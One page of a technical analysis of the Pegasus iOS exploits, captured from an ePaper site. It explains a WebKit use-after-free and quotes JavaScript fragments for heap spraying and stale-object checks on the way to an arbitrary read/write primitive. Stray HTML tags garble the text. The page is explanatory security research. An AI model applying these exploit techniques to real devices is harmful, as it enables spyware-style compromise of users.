19.11.2016 Views

Technical Analysis of the Pegasus Exploits on iOS

eNQc3Ry

eNQc3Ry

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

arr) will not be explicitly protected from deallocati<strong>on</strong> by <str<strong>on</strong>g>the</str<strong>on</strong>g> MarkedArgumentBuffer during<br />

garbage collecti<strong>on</strong>.<br />

When defineOwnProperty() is called for <str<strong>on</strong>g>the</str<strong>on</strong>g> length property, it will attempt to c<strong>on</strong>vert <str<strong>on</strong>g>the</str<strong>on</strong>g> value<br />

(not_number) to a number. As part <str<strong>on</strong>g>of</str<strong>on</strong>g> this code path, <str<strong>on</strong>g>the</str<strong>on</strong>g> toString() method will be called,<br />

allowing <str<strong>on</strong>g>the</str<strong>on</strong>g> last two references to <str<strong>on</strong>g>the</str<strong>on</strong>g> arr JSArray to be removed. Once removed, this JSArray<br />

is no l<strong>on</strong>ger marked, and <str<strong>on</strong>g>the</str<strong>on</strong>g> next garbage collecti<strong>on</strong> pass will deallocate <str<strong>on</strong>g>the</str<strong>on</strong>g> object. <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g><br />

creates memory pressure (allocates a large amount <str<strong>on</strong>g>of</str<strong>on</strong>g> memory) within <str<strong>on</strong>g>the</str<strong>on</strong>g> toString() method in<br />

an attempt to force garbage collecti<strong>on</strong> to run (and deallocate <str<strong>on</strong>g>the</str<strong>on</strong>g> arr object).<br />

var attempts = new Array(4250000);<br />

var pressure = new Array(100);<br />

...<br />

not_number.toString = functi<strong>on</strong>() {<br />

...<br />

for (var i = 0; i < pressure.length; i++) {<br />

pressure[i] = new Uint32Array(262144);<br />

}<br />

var buffer = new ArrayBuffer(80);<br />

var uintArray = new Uint32Array(buffer);<br />

uintArray[0] = 0xAABBCCDD;<br />

for (i = 0; i < attempts.length; i++) {<br />

attempts[i] = new Uint32Array(buffer);<br />

}<br />

}<br />

Each <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> 4.25 milli<strong>on</strong> Uint32Arrays allocated for <str<strong>on</strong>g>the</str<strong>on</strong>g> attempts array use <str<strong>on</strong>g>the</str<strong>on</strong>g> same backing<br />

ArrayBuffer. These objects are used to attempt to reallocate a series <str<strong>on</strong>g>of</str<strong>on</strong>g> Uint32Arrays into <str<strong>on</strong>g>the</str<strong>on</strong>g><br />

same memory referenced by <str<strong>on</strong>g>the</str<strong>on</strong>g> JSArray object (arr).<br />

Once complete, <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit checks to see whe<str<strong>on</strong>g>the</str<strong>on</strong>g>r garbage collecti<strong>on</strong> was successfully<br />

triggered.<br />

var before_len = arr.length;<br />

Object.defineProperties(target, props);<br />

stale = target.stale;<br />

var after_len = stale.length;<br />

if (before_len == after_len) {<br />

throw new RecoverableExcepti<strong>on</strong>(8);<br />

}<br />

If <str<strong>on</strong>g>the</str<strong>on</strong>g> length <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> JSArray remains <str<strong>on</strong>g>the</str<strong>on</strong>g> same it means that ei<str<strong>on</strong>g>the</str<strong>on</strong>g>r garbage collecti<strong>on</strong> was not<br />

triggered or that n<strong>on</strong>e <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> allocated Uint32Arrays were allocated into <str<strong>on</strong>g>the</str<strong>on</strong>g> same address as <str<strong>on</strong>g>the</str<strong>on</strong>g><br />

stale object. In <str<strong>on</strong>g>the</str<strong>on</strong>g>se cases, <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit has failed and <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit is retried.<br />

Acquiring an arbitrary read/write primitive<br />

Assuming <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit has succeeded to this point, <str<strong>on</strong>g>the</str<strong>on</strong>g>re are now two objects <str<strong>on</strong>g>of</str<strong>on</strong>g> different types<br />

that are represented by <str<strong>on</strong>g>the</str<strong>on</strong>g> same memory. The first is <str<strong>on</strong>g>the</str<strong>on</strong>g> (now stale) JSArray, and <str<strong>on</strong>g>the</str<strong>on</strong>g> sec<strong>on</strong>d<br />

is <strong>on</strong>e <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> many Uint32Arrays that were allocated (in fact, <str<strong>on</strong>g>the</str<strong>on</strong>g> underlying templated type is<br />

JSGenericTypedArrayView). By reading from and writing to <str<strong>on</strong>g>of</str<strong>on</strong>g>fsets into <str<strong>on</strong>g>the</str<strong>on</strong>g> stale object, member<br />

Page 8

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!